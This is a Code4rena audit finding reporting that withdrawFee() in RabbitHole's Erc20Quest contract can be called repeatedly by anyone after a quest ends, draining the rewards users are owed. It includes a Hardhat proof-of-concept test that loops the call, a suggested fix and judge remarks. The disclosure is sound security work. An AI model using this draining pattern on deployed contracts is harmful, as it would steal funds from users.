withdrawFee() can be called multiple times by any user when quest has ended making it possible to drain contract and leave users unable to claim rewards

[code423n4]

Lines of code

https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/Erc20Quest.sol#L102-L104

Vulnerability details

Impact

The withdrawFee() function in the Erc20Quest contract can be called multiple times. The modifier onlyAdminWithdrawAfterEnd is applied to the function which only makes it possible to call it after the end time of a quest. It should be noted that any user is allowed to call functions using the modifier onlyAdminWithdrawAfterEnd. Users should be able to redeem their receipts and claim their rewards even after the end time. A malicious user can call the withdrawFee() function multiple times until the funds of the contract is drained, leaving no tokens left for users to claim.

Proof of Concept

The following test can be added to quest-protocol/test/Erc20Quest.spec.ts in the withdrawFee() group (https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/test/Erc20Quest.spec.ts#L351)

it('can be called multiple times by any user to drain contract', async () => {
      const beginningContractBalance = await deployedSampleErc20Contract.balanceOf(deployedQuestContract.address)

      await deployedFactoryContract.connect(firstAddress).mintReceipt(questId, messageHash, signature)
      await deployedQuestContract.start()

      expect(await deployedSampleErc20Contract.balanceOf(protocolFeeAddress)).to.equal(0)

      expect(beginningContractBalance).to.equal(totalRewardsPlusFee * 100)
      await ethers.provider.send('evm_increaseTime', [100001])

      await deployedQuestContract.withdrawRemainingTokens(owner.address)

      const protocolFee = await deployedQuestContract.protocolFee()

      expect(await deployedSampleErc20Contract.balanceOf(deployedQuestContract.address)).to.equal(
        protocolFee.add(rewardAmount)
      )

      //Calculate how many times withdrawFee() can be called before balance < protocolFee
      const numCalls = (await deployedSampleErc20Contract.balanceOf(deployedQuestContract.address))
        .div(protocolFee)
        .toNumber()

      for (let i = 0; i < numCalls; i++) {
        await deployedQuestContract.connect(secondAddress).withdrawFee()
      }

      expect(await deployedSampleErc20Contract.balanceOf(protocolFeeAddress)).to.equal(protocolFee.mul(numCalls))
      await expect(deployedQuestContract.connect(firstAddress).claim()).to.be.revertedWith(
        'ERC20: transfer amount exceeds balance'
      )
      expect(await deployedQuestContract.receiptRedeemers()).to.equal(1)
      expect(protocolFee).to.equal(200) // 1 * 1000 * (2000 / 10000) = 200

      await ethers.provider.send('evm_increaseTime', [-100001])
    })

The command yarn hardhat test --grep withdrawFee can be used to run the test.

Recommended Mitigation Steps

An approach to fixing this issue would be to use a bool isFeeClaimed to require that withdrawFee() can only be called once (when the fee hasn't been claimed yet). If this approach is used, it is important to concider that the calculation of nonClaimableTokens in withdrawRemainingTokens() can be incorrect if the fee has been claimed before withdrawRemainingTokens() is called. Logic can be added to only consider the fee if it hasn't been claimed yet.

[c4-judge]

kirk-baird marked the issue as duplicate of #23

[c4-judge]

kirk-baird marked the issue as satisfactory